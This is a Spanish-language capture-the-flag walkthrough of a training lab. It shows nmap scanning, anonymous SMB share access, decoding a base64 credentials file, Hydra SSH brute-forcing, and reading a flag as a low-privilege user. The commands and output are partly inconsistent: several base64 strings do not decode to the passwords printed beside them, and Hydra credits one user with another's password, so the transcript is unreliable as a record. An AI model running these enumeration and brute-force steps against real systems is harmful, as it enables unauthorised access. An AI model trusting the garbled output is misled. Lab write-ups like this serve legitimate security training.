

Iniciemos el lab Critical System

```
W|H|O|A|M|I|-|L|A|B|S|.C|O|M|

Bienvenido a WHOAMI-LABS.COM.
Aprende, simula, escala. Sin burocracia.

[*] Cargando imagen desde critical_system.tar ...
[*] Iniciando laboratorio ...

[v] Laboratorio desplegado correctamente.

LAB: CRITICAL-SYSTEM
DIFICULTAD: ***** Fácil (1 punto)

IP del laboratorio: 172.17.0.2

Ingresa la ROOT flag (formato CTF{ ... }):
```

Comencemos haciendo un escaneo con nmap para ver puertos abiertos y las versiones de los servicios corriendo en ellos

```
(kali@kali)-[~]
$ cd Downloads/Labs/Critical\ System/

(kali@kali)-[~/Downloads/Labs/Critical System]
$ nmap -p- -sV -sC -sS -vvv -n -Pn --min-rate=5000 172.17.0.2 -oN nmap_scan
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-16 22:41 -0600
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:41
Completed NSE at 22:41, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:41
Completed NSE at 22:41, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:41
Completed NSE at 22:41, 0.00s elapsed
Initiating ARP Ping Scan at 22:41
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 22:41, 0.09s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 22:41
Scanning 172.17.0.2 [65535 ports]
Discovered open port 445/tcp on 172.17.0.2
Discovered open port 22/tcp on 172.17.0.2
Discovered open port 139/tcp on 172.17.0.2
Completed SYN Stealth Scan at 22:41, 1.16s elapsed (65535 total ports)
Initiating Service scan at 22:41
Scanning 3 services on 172.17.0.2
Completed Service scan at 22:41, 11.02s elapsed (3 services on 1 host)
NSE: Script scanning 172.17.0.2.
```

Lo más interesante con este resultado no es ssh, sino smb (139/445) y dado que el nombre del lab es Critical-System nos hace pensar que el vector de ataque pasa por samba.

Pasemos a realizar una enumeración smb

```
(kali㉿kali)-[~/Downloads/Labs/Critical System]
$ smbclient -L //172.17.0.2 -N

      Sharename      Type      Comment
      -----
      public         Disk      Public Resources
      IPC$           IPC       IPC Service (CRITICAL-SYSTEM)
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 172.17.0.2 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONS
E
Unable to connect with SMB1 -- no workgroup available
```

Se encontró un recurso compartido llamado public, probemos si nos deja conectarnos

```
(kali㉿kali)-[~/Downloads/Labs/Critical System]
$ smbclient //172.17.0.2/public -N
Try "help" to get a list of possible commands.
smb: \>
```

Ahora veamos su contenido

```
smb: \> ls
.                D          0  Fri Jan  9 16:33:27 2026
..               D          0  Fri Jan  9 16:33:27 2026
system           D          0  Fri Jan  9 16:33:27 2026
upload           D          0  Fri Jan  9 16:33:27 2026
download         D          0  Fri Jan  9 16:33:27 2026

79225728 blocks of size 1024. 40093284 blocks available
smb: \>
```

Como se encontraron tres directorios vamos a realizar una enumeración recursiva

```
smb: \> recurse on
smb: \> prompt off
smb: \> ls
.                D          0  Fri Jan  9 16:33:27 2026
..               D          0  Fri Jan  9 16:33:27 2026
system           D          0  Fri Jan  9 16:33:27 2026
upload           D          0  Fri Jan  9 16:33:27 2026
download         D          0  Fri Jan  9 16:33:27 2026

\system
.                D          0  Fri Jan  9 16:33:27 2026
..               D          0  Fri Jan  9 16:33:27 2026
db.txt           N        226  Fri Jan  9 16:33:27 2026

\upload
.                D          0  Fri Jan  9 16:33:27 2026
..               D          0  Fri Jan  9 16:33:27 2026

\download
.                D          0  Fri Jan  9 16:33:27 2026
..               D          0  Fri Jan  9 16:33:27 2026

79225728 blocks of size 1024. 40092852 blocks available
```

Hemos encontrado un archivo llamado db.txt dentro del directorio system, procedamos a descargarlo y ver su contenido

```
smb: \> mget \system\db.txt
getting file \system\db.txt of size 226 as system/db.txt (110.3 KiloBytes/sec) (average 110.4 KiloBytes/sec)
smb: \>
```

```
(kali㉿kali)-[~/Downloads/Labs/Critical System]
$ cat system/db.txt
admin:cGFzc3dvcmQxMjM=
john:cGFzc3dvcmQyMzQ=
maria:cGFzc3dvcmQzNDU=
carlos:cGFzc3dvcmQ0NTY=
rosa:cGFzc3dvcmQ1Njc=
pepe:cGFzc3dvcmQ2Nzg=
luis:cGFzc3dvcmQ3ODk=
david:cGFzc3dvcmQ4OTA=
ana:cGFzc3dvcmQ5MDA=
sandra:cGFzc3dvcmQ5MDA=

(kali㉿kali)-[~/Downloads/Labs/Critical System]
$
```

Hemos encontrado una lista de usuarios con sus contraseña codificadas en Base64, para revelarlas haremos lo siguiente

```
(kali㉿kali)-[~/Downloads/Labs/Critical System/system]
$ cat db.txt | while IFS=: read user pass; do
  echo -n "$user:"
  echo "$pass" | base64 -d
done
admin:password123
john:password234
maria:password345
carlos:password456
rosa:password567
pepe:password678
luis:pass2026#!
david:password789
ana:password890
sandra:password900

(kali㉿kali)-[~/Downloads/Labs/Critical System/system]
$
```

Acto seguido podemos probar la conexión ssh con el usuario luis y si no nos da acceso con admin (elegimos el usuario luis por ser el que rompe con el patrón usado en las contraseñas de los demás usuarios)

```
(kali㉿kali)-[~/Downloads/Labs/Critical System/system]
$ ssh luis@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is: SHA256:uM+7FLI+9gMI7Bx0xFS0c9Hm48LMYlmy6Bt1hBOAuYQ
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
luis@172.17.0.2's password:
Permission denied, please try again.
luis@172.17.0.2's password:

(kali㉿kali)-[~/Downloads/Labs/Critical System/system]
$ ssh admin@172.17.0.2
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
admin@172.17.0.2's password:
Permission denied, please try again.
admin@172.17.0.2's password:
```

Dado que nuestra prueba de acceso ssh fue negativa, vamos a crear un archivo para los usuarios y otro para las contraseñas y vamos a utilizar hydra para automatizar las pruebas de conexión

```

(kali@kali)~[~/Downloads/Labs/Critical System/system]
$ hydra -L users.txt -P passwords.txt ssh://172.17.0.2
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-06-17 13:40:15
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 100 login tries (l:10/p:10), ~7 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2  login: pepe  password: pass2026#!
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-06-17 13:40:40

(kali@kali)~[~/Downloads/Labs/Critical System/system]
$

```

Se encontró una coincidencia, vamos a usarla para establecer la sesión ssh y ver que permisos tenemos

```

(kali@kali)~[~/Downloads/Labs/Critical System/system]
$ ssh pepe@172.17.0.2
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
pepe@172.17.0.2's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.19.14+kali-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
pepe@critical_system:~$

```

```

pepe@critical_system:~$ whoami
pepe
pepe@critical_system:~$ id
uid=1000(pepe) gid=1000(pepe) groups=1000(pepe)
pepe@critical_system:~$ sudo -l
[sudo] password for pepe:
Sorry, user pepe may not run sudo on critical_system.
pepe@critical_system:~$ ls -al
total 28
drwxr-xr-x 1 pepe pepe 4096 Jun 17 19:40 .
drwxr-xr-x 1 root root 4096 Jan  9 22:33 ..
-rw-r--r-- 1 pepe pepe 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 pepe pepe 3771 Feb 25 2020 .bashrc
drwx----- 2 pepe pepe 4096 Jun 17 19:40 .cache
-rw-r--r-- 1 pepe pepe 807 Feb 25 2020 .profile
pepe@critical_system:~$

```

Búsqueda de binarios SUID

```

pepe@critical_system:~$ find / -perm -4000 -type f -ls 2>/dev/null
2628059 68 -rwsr-xr-x 1 root root 67816 Apr  9 2024 /usr/bin/su
2627651 44 -rwsr-xr-x 1 root root 44784 Feb  6 2024 /usr/bin/newgrp
2627582 88 -rwsr-xr-x 1 root root 88464 Feb  6 2024 /usr/bin/gpasswd
2627662 68 -rwsr-xr-x 1 root root 68208 Feb  6 2024 /usr/bin/passwd
2627493 84 -rwsr-xr-x 1 root root 85064 Feb  6 2024 /usr/bin/chfn
2627646 56 -rwsr-xr-x 1 root root 55528 Apr  9 2024 /usr/bin/mount
2627499 52 -rwsr-xr-x 1 root root 53040 Feb  6 2024 /usr/bin/chsh
2628109 40 -rwsr-xr-x 1 root root 39144 Apr  9 2024 /usr/bin/umount
2664087 164 -rwsr-xr-x 1 root root 166056 Apr  4 2023 /usr/bin/sudo
2666921 468 -rwsr-xr-x 1 root root 477672 Apr 11 2025 /usr/lib/openssh/ssh-keysign
2666516 52 -rwsr-xr-- 1 root messagebus 51344 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

```

Nada interesante que deba preocuparnos, como por lo general la bandera está en formato txt, hagamos una búsqueda global y de encontrarla veamos su contenido

```
pepe@critical_system:~$ find / -type f -name "flag.txt" 2>/dev/null
/tmp/flag.txt
pepe@critical_system:~$ cat /tmp/flag.txt
CTF{[REDACTED]}
pepe@critical_system:~$
```

// 1_11__/_/ _/_/ 1_11_ 1_11_/_/ _/_/_/_/_/_/_/_/_/_/_/ 1_1

Bienvenido a WHOAMI-LABS.COM.
Aprende, simula, escala. Sin burocracia.

[*] Cargando imagen desde critical_system.tar ...
[*] Iniciando laboratorio ...

[✓] Laboratorio desplegado correctamente.

LAB: CRITICAL-SYSTEM
DIFICULTAD: ★★☆☆ FÁCIL (1 punto)

IP del laboratorio: 172.17.0.2

Ingresa la ROOT flag (formato CTF{ ... }): CTF{[REDACTED]}

¡Felicitaciones hacker! Has conseguido la flag.

FECHA Y HORA: 2026-06-17 14:26:47 -0600

¿Quieres eliminar la máquina? (s/n):